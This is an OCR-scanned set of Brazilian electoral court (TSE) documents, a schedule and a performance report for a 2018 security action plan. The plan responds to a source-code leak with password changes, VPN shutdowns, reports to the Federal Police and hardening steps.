4 dias Qua 07/1 1/18 Seg 12/1 1/18

Q dias Seg 12/1 1/73 Seg 12/11/1 8

1 dia Seg 12/11/18 Seg 12/11/18

11 dias Seg 12/11/18 Ter 27/11/18

1 dia Ter 13/11/18 Ter 13Í11/18

S dias Seg 12/11/18 Sex 23/11/18

4dias Seg 12/11/18 Sex 16/11/18

5 dias Seg 12/11/1 8 Seg 19/11/18

4 dias Seg 12/11/13 Sex 16/11/18

2 dias Seg 12/11/18 Ter 13/1 1/18

4 dias Seg 12/11/18 Sex 16/11/18

5 dias Seg 12/11/18 Seg 19/11/18

1 1 dias Seg 1 2/1 1 /1 8 Ter 27/1 1/1 8

11 dias Seg 12/11/18 Ter 27/1 1/18

4 dias Seg 12/11/18 Sex 16/11/18

30 dias Ter 13/11/18 Qui 10/01/19

20dias Qua 28/1 1/1 S Qui 10/01/19

10 dias Ter 20/11/18 Seg 03/12/18

lOdias Ter13/11/18 Ter27/11/18

1 0 dias Seg 26/1 1 /1 8 Seg 1 0/1 2/1 8

20 dias Qua 28/1 1/18 Qui 10/01/19

20 dias Qua 28/1 1/1 8 Qui 10/01/19

Nomes dos
recursos

SEVIN

ASAG-TI SEVW

SESOP

STI

STI

STI

ST!

SESAP

SESOP

SESOP

CSELE/ASAG-TI

CSELE

COINF

SESOP

COINF

SEVIN

SESAP

COIMF

COINF

ASAG-TI

COINF

COINF

SESAP

STI

COINF

M
em

orando 211 S
T

I (resposta ao M
em

orando 125) (0931972)         S
E

I 2018.00.000014309-3 / pg. 37

." ' .. 
10 o EDT ... 

o o 

Nome da tarefa 3emliforc 
Atraso 

... % 
concluida 

- PA2018 - Ampliação das Proteções de Segurança 16% 

Duração ... InicIO 

101 dias Qua 07111 /18 Seg 15/04/19 

Nomes dos 
recursos 

- Gerenciamento da iniciativa 33'Ió Qui 08J11 /18 Seg 15J04/19 
2 v'. Ｑ ｾ Ｎ Ｑ ｾＭＭＭＭＭＭＭ Ｋ ｾ ｬ ｮ ｾ ｩ｣ Ｍ ｬ Ｍ ｡ ｾ ｾ ｾ ｯ Ｍ Ｍｐ］ｾ ｾ ｮ ･ Ｍ ｊ Ｍ ｡ ｭ ＭＭ ･ Ｍ ｮｴ ｾ ｯ ＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭ ｾ ｾ ＭＭＭＭＭＭ Ｑ ｾｾ ｾＭＭＭＭｾ ｾｾＭＭＭＭＭﾷ ｏｾ ｕ ｾ ｩｏｾ Ｍ ＱＱ Ｍ Ｏ Ｍ Ｑ Ｘ ＭＭＭＭＭ ｑｵ Ｍ ｡Ｍ Ｒ Ｑ ＯＭ Ｑ Ｍ Ｑ Ｏ Ｍ Ｑ Ｍ Ｘ ＭＭＭＭＭＭＭＭＭＭ

ｾ＠ D ... 1.2 + Reportar Desempenho da Iniciativa • 14% 45 dias Ter 13/11/18 Seg 11/02/19 

32 

35 

36 

1.3 

2 

2.1 

37 v'. 211 

la v' 2.12 

39 v' 2.1.3 

40 v' 2.14 

41 v' 2.1 5 

42 v'. 216 

43 v'. <.17 

44 v' 2.1 .8 

45 ｾ＠ 219 

46 v'. 2110 

47 ｾ＠ ... 2111 

48 v' 2.1.12 

49 v' 2.1.13 

50 v' 2.114 

51 v' 2.115 

52 v' 2.116 

D v" 2.1.17 

54 ｾ＠ 2118 

55 ｾ＠ 2.119 

56 v' 21 .20 

V 

57 2.2 

58 i 221 

59 i 222 

60 223 

+ Encerramento ｾ＠ 7 dias Se" 05104/19 Seg 15J04/19 

- Executar Plano de ａ ｾ ｯ＠ 15'. 94 d ias Qua 07/11/18 Qui 04J'()4/19 

- Ações de Curto Praz.o ＹｾＮ＠ 14 dias Oua 07/11 /18 Ter 27/11/18 

Desligamento dos serviçoS do servidor de build ./ 10(}% 1 dia Qua 07111/18 Qua 07111118 

Desligamento dos equipamentos do ambiente de apresentação dDS codIgos- fonte ./ 100% 1 dia Qua 07111/18 Qua 0711 1/18 

BloqueIO das contas da SEVIII nDS eqUipamentos servidores APP UF dBs tribunaIS regionaIS eleitoraIS ./ 

Relatorlo prellmmar para a PoliCia Federal ./ 

Reunião prelimmar com a ｐｏｾｃＱＸ＠ Federal 

Estabelecer o ･ｳ｣ｲｾ￳ｲｬｯ＠ de crISe com reunIÕes dlárl8s 

Elabora, -ela to. '0 cO"r>ple.-.enta para a PoliCia Federal 

Elaborar lista ordenada do nivel de vulnerabiridade das aphcações do TSE. As de maior severidade 
serão encaminhadas à adminIStração do SE com recomendação de desativação 

Trocar senhas de rede de todos os usuáriOS 

Desabilitar ｖｐｾｉＮｳ Ｌ＠ exceto das embaixadas 

Planejar uma nova lacração 

Avaliar o rISCO sobre o vazamento do GEDAI-UE 

Mapear os compartilhamentos de pastas locais 

ｾｉｯｬｬｦｩ｣｡ｲ＠ os usuários e acompanttar os riscos da utilIZação de pastas compartilhadas 

Verificar os equipamentos que estão com o antivirus desabilitado 

Elaborar estudo de ｾ＠ labllidade Drrulgação do código da urna e do GEDAI 

tlotlficar os usuàrlOS e chefes de seção sobre os equipamentos com antr/irus desabllrtado Quanto aos ./ 
riscos para a InstitUição 

Notificar os IribunalS regionaIS eleitoraIS quanto as ações locais. Trocar senhas de usuáriOS. Definir 
polnlca de troca de senhas, Desabilitar servidores de aplicação vulnerá'/elS; Cancelar todas as VPNs 

Segurança de perlmetro: Revisar os mecanismos de segurança lIdotados pelo TSE e TREs no acesso 
de Internei 

Encaminhar expediente para a Dlretoria-Geral sBllcttando que todos os Fiscais de Contratos do SE 
In formem periodicamente ã STI srtuações de desligamentos de colaboradores Que fazem uso de 
recursos tecnológlCDS do TSE 

- Ações de MédiO prazo 

ReVISar e Implantar lima nova ｰｯｬｾｬ｣｡＠ de ｡ｾ･ｲ｡￧ｩｩｯ＠ de senhas perIOdicamente Verificar os 
procedimentos de desabilttar contas de servidores e colaboradores desligados e atualizá-los se 
necessárIO 

Avaliar ｣ｲｾｩ｣ｩ､｡､ ･＠ e aplicar ações para tratamento dos diretÓriOs compartilhados na rede 

Aphcar ações para desatr;ação ou tratamento espeCifico das aphcações Que apresentam 
vulnerabilidade 

Notificar CGE sobre as ações e tratamentos a serem aplicados nB FlliaWeb 

Elaborar lista orde08da do nIVel de vulnerabilidade das aphcações dos REs As de maior severidade 
serão encaminhadas as respectivas administrações regionais com recomendação de desalivação 

Segurança de rede Interna Criar m:caOlsmos de amphação da proteção dos dados e códlgBs-fontes 

• • 

100% 1 dia Qua 07111/18 Oua 07111/18 

100% 1 dia Qua 07111/18 Qua 07111/18 

100% 1 dl8 Qua 07/11/18 Oua 07111118 

100% 4 dias Qua 07111/18 Segl2/11/18 

100% O dia!! Seg 2/" 8 Seg .;:' 18 

1()(}% 1 dia Segl2/11/18 Seg 12/11/18 

95% 

100% 

99% 

100% 

100% 

100% 

100% 

100% 

100% 

80% 

75% 

100% 

6% 

0% 

40% 

75% 

10% 

0% 

0% 

11 dias 

1 dia 

9d18s 

4 dias 

5dl8S 

4 dias 

2 dias 

4 dias 

Sdias 

11 dias 

11 dias 

4 dias 

30 dias 

20 dl8s 

10 dias 

10 dias 

10 dl8s 

20 dias 

20 dias 

Seg 12/11/18 

Ter 13/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Seg 12/11/18 

Ter 13/11 /18 

Qua 28/11/1 8 

Ter 20/11/18 

Ter 13/11/18 

Seg 26/11/18 

Qua 28/11/18 

Qua ＲｾＱＱ Ｏ ＱＸ＠

er 27/11118 

- er 13/11118 

Sex 23/11/18 

Sex 16111/18 

Segl9111/18 

Se" 16111/18 

- er 13/11/18 

Sex 16111118 

Seg 19111/18 

-er 27/11118 

-er 27/11/18 

Sex 16111/18 

QUI tO/01J19 

QUI 1 ClI01119 

Seg 03/12/18 

-er 27/ 11/18 

Segl0112/18 

OUll0/01 / 19 

Qui t()J01/19 

SEVIN 

ASAG-TI SEVlN 

SESOP 

STI 

STI 

STI 

ST' 

SESAP 

SESOP 

SESOP 

CSEWASAG-TI 

CSELE 

COINF 

SESOP 

COltlF 

ｓｅｖｾｾ＠

SESAP 

COINF 

COINF 

ASAG-TI 

COINF 

COINF 

SESAP 

S1l 

COlllF 
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78

t
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!
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i
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22.4

22S

226

2.2.7

2.28

2.2.9

22.10

22.11

22.12

2.2 f 3

2.2 .14

2215

2.3 -A

23.1

2.32

2.3.3

2.3.4

235

Notificar CGE sobre as acôes e tratamentos a serem aplicados no FiliaWeb

Elaborar lista ordenada do nível de vulnerabilidade das aplicações dosTRE;
serão encaminhadas às respectivas administrações regionais com recomendação de desativacão

Segurança de rede interna: Criar mecanismos de ampliação da proteçâo dos ciados e códigos-1
mais críticos; Revisar a segmentação e proteção da rede interna do TSE, em relação a VLAN e
Firewail, permitindo acesso aos usuários devidamente autorizados

Recomendar adoção do uso de duplo fator de autenticação no acesso a VPN

Renovar do convénio com o CEPESq

Comparar as últimas versões do GEDAI-Ue com a versão que foi lac
realizadas no repositório de códigos-fonte nos meses de agosto e setembro de 2018

Aplicar políticas de segurança na sala da OAB

Reavaliar aplicação de firmware

Solicitar regularização do domínio aos Tribunais que ainda fazem uso do domínio antigo .gov.br

Sol/atar B Diretona-Geral apoio psra a criação de uniaaae ae segurança as tecnologia e da

informação no âmbito da ST.1

Formalizar o Comité de Segurança da Informação

Formalizar a Equipe de Tratamento e Resposta a Incidentes - ETIR

Ações de Longo Prazo

Realizar investimentos em atualização tecnológica. Web appiication fir
código fonte, Atualização das versões das soluções

Implantar políticas e normas de segurança: Elaborar e implantar as noi
estabelecer mais segurança nos procedimentos dos servidores e cot
específico para o direcionamento à Polícia Federal

Transferir para a Coinf a responsabilidade da administração de hardware e SÓ do servidor de
integração contínua Sevirt

Adicionar mais de um critério de autenticação

Verificar se a regularização do domínio "jus.br" foi realizada pelos Tribunais Regionais

b

is. As de maior severidade
endação de desativacão

los ciados e códigos- fontes
em relação a VLAN e

•JPH.
... »

bem como as intervenções
t>ro de 2018

:~̂
lomínio antigo .gov.br

e ae tecnologia e da

ali: Análise de segurança de

s derivadas da PSI oue visam
radores. Criar procedimento

e SÓ do servidor de

3is Regionais

4»
•
<t

g

•
•

•O

•

9

•̂̂
P

€1

• _.•

10%

0%

0%

0%
„ , t

0%

0%

0%

0%

0%

;0%
'•

0%

0%

;•*" ^
0% ~H

0%

0%

0%

0%

10 dias

20 dias

20 dias

20 dias ~
.

20 dias

20 dias

20 dias

20 dias

20 dias

0 d:as

0 dias

Odias

60 dias

60 dias

60 dias

60 dias

60 dias

! 60 dias

Seg 26/1 1/1 8

Qua2&i'11/18

Qua 28/11/13

Qua 28/1 1/1 8

Qua 28/1 1/18

Qua 28/11/1 8

Qua 28/1 1/18

Qua 28/11/18

Qua 28/1 1/18

QUÍ 10/01/19

Qui 10/01/19

Qui 10/01/19

Sex 11/01/19

Sex 11/01/19

Sex 11/01/1 9

Sex 11/01/1 9

Sex 11/01/19

Sex 11/01/1 9

Seg 10/1 2/1 8

Qui 10/01/19

Qui 10/01/19

Qui 10/0 1/1 9

Qui 10/01/19

Qui 10/01/1 9

Qui 10/0 1/1 9

Qui 10/01/19

Qui 10/0 1/19

"JQtii 10/01/19

Qui 10/01/19

Qui 10/01/19

Qui 04/04/19

Qui 04/04/19

Qui 04/04/1 9

Qui 04/04/1 9

Qui 04/04/1 9

Qui 04/04/1 9

l

jsn

JCOIIIF

Isn
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JCOIMF
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i
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|
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• I 

61 Iv' 224 Notificar CGE sobre as ações e tratamentos a serem aplicados no FlliaNeb 10% 10 dias Seg26111118 Seg 10112118 

62 i 225 Elaborar lista ordenada do nr,el de vulnerabilidade das aplicações dos - REs As de maior severidade 0% 20 dias Qua 28111/18 QUI 10101 /19 ST1 
serão encaminhadas as respeclivas administrações regionais com recomelldação de desatr,ração 

63 i 226 Segurança de rede Interna' Cnar mecarusmos de ampliação da proteção dos dados e códlgos-fontes 0% 20 dias Qua 28111/18 Qui 10101 /19 COnlF 
maIS crAicos; Revisar a segmentação e proteção da rede interna do 1'5E, em relação a VLAN e 
Flrewall, permftlndo acesso aos usuárIOS devidamente autonzados 

64 i 22.7 Recomendar adoção do uso de duplo fator de aulentlcação no acesso a VPN 0% 20 dias Qua 28111/18 Qui 10/01 /19 ST1 

65 228 Renovar do convéOlo com o CEPESq 0% 20 dias Qua 28111/18 QUI 10101119 STVS 

66 229 Comparar 8S únimas versões do GEDAI-Ue com a versão que foi lacrada bem como as intervenções 0% 20 dias Qua 28111/18 Qui 10/01/19 CSELE 
realizadas no reposftorio de codigos-fonte nos meses de a!jOSto e setembro de 2018 

67 i 22.10 Aplicar polAicas de segurança na sala da OAB 0% 20 dias Qua 28111/18 Qui 10101119 COltlF 

68 i 22.11 Reavaliar aplicação de firmware 0% 20d18S Qua 28111/18 QUI 10101 /19 COUIF 

69 i 22.12 Solicitar regul3rização do dcmmio aos Tribunais que ainda fazem uso do domínio antJgo gov br 0% 20 dias Qua 28111/18 Qui 10101/19 COII'IF 

70 2213 $v IC 'a' a Diretoria Ge'1l1 apC' 'o pll'a a c"seBo flP u ,J<' '" ｾ･＠ ｾｾＺ［ｵｾｬｩＬ＠ ,a oe tecnologia e oa O'l Odlas ｾＢ＠ 0101119 Ou 0101119 <"T 

1/ formação no ámbrto da STI -

71 2214 Formalizar o Com;té ele Segurança aa InformaçBo ｾ￳＠ OClas OUl 10101/19 QUJ 10101119 Dlretorlà-Geral 

72 2215 Formb ,zar a Eq"lpe je Tratamento e Resposta a Incidentes - ETlH 0% vC IIS ;)", 1a"O' '1!J QUI 10.0 '1 Dm:tofla-Geral 

73 2.3 - Ações de longo Prazo 0% 60 dias Sex 11101/19 Qui G4J04119 

74 i 23,1 Realizar Investimentos em atualização tecnológica Web applicatlon firewall. Análise de segurança de 0% 60 dias Sex 111'01/19 QUI 04104119 cOlr F 
código fDnte, AtualizaçãD das versões das soluções 

75 i 232 Implantar polAlcas e normas de segurança Elaborar e implantar as normas derr/adas da PSI que '/isam 0% 60 dias Sex 11/01119 ｡ｵｩＰＴＯｾ Ｏ ＱＹ＠ ST1 
estabelecer mais segurança oos procedimentos dos servidores e colabol1ldores Criar procedimento 
especifICO para o direCionamento ã Polícia Federal 

76 i 23.3 Transferir para a COlnf 8 responsabilidade da adminIStração de nardware e SO do servidor de 0% 60 dias Sex 11 /01119 QUI 0"04/19 COtrlF 
Integração conlínua Sevln 

T7 i 23.4 AdiCionar maIS de um ｣ｲｾ￩ｮｯ＠ de aulenlicação 0% 60 dias Sex 11101/19 QUI 04104/19 ｃｏｾｻｆ＠

78 i 23.5 Verificar se a regularização do domínIO "jus br" foi realizada pelos ribun 8JS Regionais 0% 60 dl8S Sex 11 /01/19 QUI 04104/19 s-J 
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m
TSE

Tribunal Superior Eleitoral
Metodologia de Gerencjamento de Projetos Relatório de desempenho

de iniciativa - RDIn

1.

PA2018 - Ampliação das Proteções de Segurança

Identificação

Identificação da iniciativa

Tipo de iniciativa:

Cliente:

Unidade executora:

Gerente da iniciativa:

Plano de Ação

Giuseppe Dutra Janino - STI

TSE.STI

Marcelo Lauriano Lúcio

Período de referência do RDIn: 07/11/2018 - 23/11/2018

2.

3.

RDIn gerado por:

Dados de execução da

Cronograma planejado

Cronograma previsto

Datas de formalização

Iniciação

Planejamento

Wylker Silveira Barras

iniciativa

Duração

155 dias

155 dias (conforme planejado)

naCTTI

21/11/2018

21/11/2018

Cronograma
atualizado em:

Geração do RDIn:

Início

07/11/2018

07/11/2018

4. Indicadores

Entregas*

Prazo**

21/11/2018

23/11/2018

Término

11/04/2019

11/04/2019

•-f 100%

83%

* Percentual das entregas planejadas no período de referência
** Percentual do trabalho planejado no período de referência

Cálculo e legenda dos indicadores

Ne Entregas Realizadas

N° Entregas Planejadas

% Concíuido Real

%Concluído Planejado

• > 90%

> 70% <90%

Q <70%
• Não apurado

5. Curva "S" - Prazo

18%

16%

0%
06/11/2018 08/11/2018 10/11/2018 12/11/2018 14/11/2018 16/11/2018 18/11/2018 20/11/2018 22/11/2018 24/11/2018 26/11/2018

Planejado Realizado

RDIn - Relatório de desempenho de iniciativa_new2
Versão do modelo: 2.0 - 09/06/2018 Página 1 de 5

Memorando 211 STI (resposta ao Memorando 125) (0931972)         SEI 2018.00.000014309-3 / pg. 39

Relatório de desempenho 
de Iniciativa - ROln 

PA2018 - Ampliação das Proteções de Segurança 

Identificação 

1. Identificação da iniciativa 
Tipo de iniciativa: Plano de Ação 

Cliente: Giuseppe Dutra Janino - STI 

Unidade executora: TSE.STI 

Gerente da iniciativa: Marcelo Lauriano Lúcio 

Período de referência do ROln: 07/11/2018 - 23/11/2018 

ROln gerado por: Wylker Silveira Barros 

Cronograma 
atualizado em: 

Geração do ROln: 

21/11/2018 

23/11/2018 

2. Dados de execução da in.:..ic"-i.:..a.:..ti_v_a _____________________________ _ 

Ouração Início Término 

Cronograma planejado 155 dias 07/11/2018 11/04/2019 

Cronograma previsto 155 dias (conforme planejado) 07/11/2018 11/04/2019 

3. Datas de formalização na CTTI 4. Indicadores 

Iniciação 21/11/2018 Entregas· 100% 

Planejamento 21/11/2018 Prazo- 83% 

• Percentual das entregas planejadas no periodo de referência 
.. Percentual do trabalho planejado no periodo de referência 

Cálculo e legenda dos indicadores 

5. Curva "S" - Prazo 

18% 1 
16% 

14% 

12% -t 

10% 

8% 

6% 

4% 

2% 

0% 

NQ Enrregas Realizadas 
Indicador de rncrl'gas = N0 Enrregas Planejadas 

% Conclwdo Real 
Indicador de prazo = %Concluído Planejado 

<70Qo 
Não apurado 

06111/2018 08/11/2018 10/1112018 12111/2018 14/11/2018 16/1112018 18111/2018 20/1112018 22/11/2018 24/11/2018 26111/2018 

ROln· Relatório de desempenho de iniciativa_new2 
Versão do modelo: 2.0·09/06/2018 

Planejado --Realizado 
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m
TSE

Tribunal Superior Eleitoral
Metodologia de Gerenciamento de Proietos

1. Riscos por criticidade

Relatório de desempenho
de iniciativa - RDIn

PA2018 - Ampliação das Proteções de Segurança

Riscos Ativos

Quantitativo
Alta

0

Média

6
Baixa

0

2. Riscos com criticidade alta ou em nível de CTTI ou DG

Eventos futuros incertos que podem afetar um ou mais objetivos do projeto. Neste relatório, são mostrados os riscos de alta criticidade e aqueles escalonados à CTTI ou à DG.

Data de
Identificação

Causa Efeito Criticidade Estado
Nível de Ultima atualização

Escalonamento realizada

Projeto não possui riscos de alta criticidade, nem escalonados à CTTI ou DG
fdd/mm/aaaal
[dd/mm/aaaal

RDIn - Relatório de desempenho de iniciativa_new2
Versão do modelo: 1.0 - 27/07/2017 Página 2 de 5

M
em

orando 211 S
T

I (resposta ao M
em

orando 125) (0931972)         S
E

I 2018.00.000014309-3 / pg. 40

TSE 

Tnbunal Supenor Eleitoral 
Metodologia de GerenCiamento de Projetos 

1. Riscos por criticidade 

I Quantitativo , 

Alta 

O 

Relatório de desempenho 
de iniciativa - ROln 

PA2018 - Ampliação das Proteções de Segurança 

Riscos Ativos 

Média 
ＭＭＭＭＭＭＭＭＭＭＭＭｾＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭＭ

-1 Baixa 

6 O 

2. Riscos com criticidade alta ou em nível de CTTI ou DG 

Eventos futuros incertos que podem afetar um ou mais objetivos do projeto. Neste relatório, são mostrados os riscos de alta criticidade e aqueles escalonados à CTTI ou à DG. 

Data de 
Identificação 

Causa Efeito Criticidade 

Projeto não possui riscos de alta critícidade, nem escalonados à CTII ou DG 

RDln - Relatório de desempenho de iniciativa_new2 
Versão do modelo: 1.0 - 27/07/2017 

Nível de Última atualização 
Escalonamento realizada 

Estado 

[dd/mm/aaaal 
[dd/mm/aaaal 
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Tribunal Superior Eleitoral
I Metodologia de Gerenciamento de Projetos

TSE

Relatório de desempenho
de iniciativa - RDIn

PA2018 - Ampliação das Proteções de Segurança

Entregas

1. Principais entregas1 no período 07/11/2018 - 23/11/2018

' Com atraso

%de
Conclusão

100,00%

100,00%

100,00%

100,00%

100,00%

100,00%

100,00%

100,00%

100,00%

100,00%

90,00%

Descrição

Elaborar PA Abertura

Aprovação do PA Abertura

Desligamento dos serviços do servidor
de build
Desligamento dos equipamentos do
ambiente de apresentação dos códigos-
fonte

Bloqueio das contas da SEVIN nos
equipamentos servidores APP UF dos
tribunais regionais eleitorais
Relatório preliminar para a Polícia
Federal
Reunião preliminar com a Polícia
Federal
Estabelecer o escritório de crise com
reuniões diárias
Elaborar relatório complementar para a
Polícia Federal

Elaborar lista ordenada do nível de
vulnerabilidade das aplicações do TSE.
As de maior severidade serão
encaminhadas à administração do TSE
com recomendação de desativação

Trocar senhas de rede de todos os
usuários

Início
Planejado
08/11/2018

21/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

12/11/2018

12/11/2018

12/11/2018

Em dia ou adiantado ™ Atividade sem linha de base

Término
Planejado2

21/11/2018

21/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

12/11/2018

12/11/2018

12/11/2018

23/11/2018

Início Real ou
Previsto3

08/11/2018

21/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

12/11/2018

12/11/2018

12/11/2018

Termino Real
Observações

ou Previsto
21/11/2018

21/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

07/11/2018

12/11/2018

12/11/2018

12/11/2018

Em 19/11/2018 já haviam sido alteradas 1.400 contas de
23/1 1/201 o , .

usuário.

RDIn - Relatório de desempenho de iniciativa_new2
Versão do modelo: 1.0 - 27/07/2017 Página 3 de 5
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Tnbunal Supenor Eleitoral 
MetodologIa de ,erenClamento de Projetos Relatório de desempenho 

de iniciativa - ROln 

PA2018 - Ampliação das Proteções de Segurança 

Entregas 

1. Principais entregas1 no período 07/11/2018 - 23/11/2018 

• Com atraso • Em dia ou adiantado • Atividade sem linha de base 

%de 
Descrição 

Início Término Início Real ou Término Real 
Observações 

Conclusão Planejado Planejado2 Previsto3 ou Previsto 4 

100,00% Elaborar PA Abertura 08/11/2018 21/11/2018 08/11/2018 21/11/2018 

100,00% Aprovação do PA Abertura 21/11/2018 21/11/2018 21/11/2018 21/11/2018 

100,00% 
Desligamento dos serviços do servidor 

07/11/2018 07/11/2018 07/11/2018 07/11/2018 de build 
Desligamento dos equipamentos do 

100,00% ambiente de apresentação dos códigos- 07/11/2018 07/11/2018 07/11/2018 07/11/2018 
fonte 
Bloqueio das contas da SEVIN nos 

100,00% equipamentos servidores APP UF dos 07/11/2018 07/11/2018 07/11/2018 07/11/2018 
tribunais regionais eleitorais 

100,00% 
Relatório preliminar para a Polícia 

07/11/2018 07/11/2018 07/11/2018 07/11/2018 Federal 

100,00% 
Reunião preliminar com a Polícia 

07/11/2018 07/11/2018 07/11/2018 07/11/2018 Federal 

100,00% 
Estabelecer o escritório de crise com 

07/11/2018 12/11/2018 07/11/2018 12/11/2018 reuniões diárias 

100,00% 
Elaborar relatório complementar para a 

12/11/2018 12/11/2018 12/11/2018 12/11/2018 
Polícia Federal 

Elaborar lista ordenada do nível de 
vulnerabilidade das aplicações do TSE. 

100,00% As de maior severidade serão 12/11/2018 12/11/2018 12/11/2018 12/11/2018 
encaminhadas á administração do TSE 
com recomendação de desativação 

90,00% 
Trocar senhas de rede de todos os 

12/11/2018 23/11/2018 12/11/2018 23/11/2018 
Em 19/11/2018 já haviam sido alteradas 1.400 contas de 

usuários 

RDln - Relatório de desempenho de iniciativa_new2 
Versao do modelo: 1.0 - 27/07/2017 

usuário. 
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Tribunal Superior Eleitoral
Metodologia de Gerenciamento de Projetos Relatório de desempenho

de iniciativa - RDIn
TSE ^

100,00%

99,00%

100,00%

100,00%

100,00%

100,00%

100,00%

100,00%

75,00%

75,00%

embaaSasVPNS' " '*" 13/11/2018 13'11'2018 13/11/2018 13/11/2018

Planejar uma nova lacração 12/11/2018 23/11/2018

Foi aberto o Processo SEI n° 2018.00.000014771-4 e será
encaminhada Informação ao Diretor-Geral para confirmação
da agenda da Presidente para assinar os programas no dia

17/11/2018 21/11/9018 13/12 às 18h e convídar os Partidos e outras instituições.
Caso a Presidente tenha agenda livre, a Cerimónia de
Assinatura Digital e Lacração de Sistemas será realizada de
11 a 13/12, com assinatura das autoridades no dia 13, às
18h.

Aclaro risco sobre o vazamento do ^^ ^^ ^^ ^^

Mapear os compartilhamentos de pastas ,2mí2^ MM2M* 12/11/2018 19/11/2018

Notificar os usuários e acompanhar os
riscos da utilização de pastas 12/11/2018 16/11/2018 12/11/2018 16/11/2018 Notificação realizada em 16/11/2018.
compartilhadas

Verificar os equipamentos que estão
com o antivirus desabilitado

Elaborar estudo de viabilidade:
Divulgação do código da urna e do 12/11/2018 16/11/2018 12/11/2018 16/11/2018
GEDAI

Notificar os usuários e chefes de seção

SSSSISSSÍE: <™*°« «"»» i«™-« «™»«
Instituição

Notificar os tribunais regionais eleitorais
quanto às ações locais: Trocar senhas
de usuários; Definir política de troca de
senhas; Desabilitar servidores de
aplicação vulneráveis; Cancelar todas as
VPNs

Segurança de perímetro: Revisar os
mecanismos de segurança adotados
pelo TSE e TREs no acesso de internet

12/11/2018 23/11/2018

12/11/2018 23/11/2018

12/11/2018 23/11/2018

12/11/2018 23/11/2018

RDIn - Relatório de desempenho de iniciativa_new2
Versão do modelo: 1.0 - 27/07/2017 Página 4 de 5
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Tnbunal Supenor Eleitoral 
Metodologia de Gerenciamento de Projetos 

TSE 

100,00% 
Desabilitar VPNs, exceto das 
embaixadas 

99,00% Planejar uma nova lacração 

100,00% 
Avaliar o risco sobre o vazamento do 
GEDAI-UE 

100,00% 
Mapear os compartilhamentos de pastas 
locais 
Notificar os usuários e acompanhar os 

100,00% riscos da utilização de pastas 
compartilhadas 

100,00% 
Verificar os equipamentos que estão 
com o antivirus desabilitado 
Elaborar estudo de viabilidade: 

100,00% Divulgação do código da urna e do 
GEDAI 
Notificar os usuários e chefes de seção 

100,00% 
sobre os equipamentos com antivirus 
desabilitado quanto aos riscos para a 
Instituição 

Notificar os tribunais regionais eleitorais 
quanto às ações locais: Trocar senhas 

75,00% 
de usuários; Definir política de troca de 
senhas; Desabilitar servidores de 
aplicação vulneráveis; Cancelar todas as 
VPNs 

Segurança de perímetro: Revisar os 
75,00% mecanismos de segurança adotados 

pelo TSE e TREs no acesso de internet 

RDln - Relatório de desempenho de iniciativa_new2 
Versão do modelo: 1.0 - 27/07/2017 

Relatório de desempenho 
de iniciativa - ROln 

13/11/2018 13/11/2018 13/11/2018 13/11/2018 

Foi aberto o Processo SEI n° 2018.00.000014771-4 e será 
encaminhada Informação ao Diretor-Geral para confirmação 
da agenda da Presidente para assinar os programas no dia 

12/11/2018 23/11/2018 12/11/2018 23/11/2018 
13/12 às 18h e convidar os partidos e outras instituições. 
Caso a Presidente tenha agenda livre, a Cerimônia de 
Assinatura Digital e Lacração de Sistemas será realizada de 
11 a 13/12, com assinatura das autoridades no dia 13, às 
18h. 

12/11/2018 16/11/2018 12/11/2018 16/11/2018 

12/11/2018 19/11/2018 12/11/2018 19/11/2018 

12/11/2018 16/11/2018 12/11/2018 16/11/2018 Notificação realizada em 16/11/2018. 

12/11/2018 13/11/2018 12/11/2018 13/11/2018 

12/11/2018 16/11/2018 12/11/2018 16/11/2018 

12/11/2018 19/11/2018 12/11/2018 19/11/2018 

12/11/2018 23/11/2018 12/11/2018 23/11/2018 

12/11/2018 23/11/2018 12/11/2018 23/11/2018 
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Tribunal Superior Eleitoral
Metodologia de Gerenciamento de Projetos Relatório de desempenho

de iniciativa - RDIn
TSE

Encaminhar expediente para a Diretoria-
Geral solicitando que todos os Fiscais
de Contratos do TSE informem

100,00% periodicamente à STI situações de
desligamentos de colaboradores que
fazem uso de recursos tecnológicos do
TSE

12/11/2018 16/11/2018
Foi aberto o Processo SEI n° 2018.00.000014678-5 e, por

12/11/2018 16/11/2018 meio do Despacho GAB-DG 0912812, o Diretor-Geral
encaminhou a solicitação à SAD para providências.

Avaliar criticidade e aplicar ações para
0,00% tratamento dos diretórios compartilhados

na rede
20/11/2018 03/12/2018 20/11/2018 03/12/2018

Aplicar ações para desativação ou
0,00% tratamento especifico das aplicações

que apresentam vulnerabilidade
13/11/2018 27/11/2018 13/11/2018 27/11/2018

1 Consideram-se como entregas aquelas atividades do projeto que produzem produtos tangíveis, resultados ou serviços, os quais possuem valor
mensurável e observável ao cliente do projeto, ou que sejam de seu especial interesse para acompanhamento.
2 Término Planejado é determinado quando é feito o planejamento do cronograma, podendo ser replanejado no decorrer da iniciativa.
3 Consideram-se como Início Real entregas já iniciadas. Caso a entrega ainda não tenha sido iniciada, considera-se Início Previsto.
4 Consideram-se como Término Real entregas concluídas. Caso a entrega ainda não tenha sido conluída, considera-se Término Previsto.

Considerações

Plano de ação formalizado em 21/11/2018. As atividades estão em andamento, conforme planejado.
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Tnbunal Supenor Eleitoral 
Metodologia de Gerenciamento de Projetos Relatório de desempenho 

de iniciativa - ROln 

Encaminhar expediente para a Diretoria-
Geral sol icitando que todos os Fiscais 
de Contratos do TSE informem Foi aberto o Processo SEI n° 2018.00.000014678-5 e, por 

100,00% periodicamente à STI situações de 12/11/2018 16/11/2018 
desligamentos de colaboradores que 

12/11/2018 16/11/2018 meio do Despacho GAB-DG 0912812, o Diretor-Geral 
encaminhou a solicitação à SAD para providências. 

fazem uso de recursos tecnológicos do 
TSE 

Avaliar criticidade e aplicar ações para 
0,00% tratamento dos diretórios compartilhados 20/11/2018 

na rede 

Aplicar ações para desativação ou 
0,00% tratamento especifico das aplicações 13/11/2018 

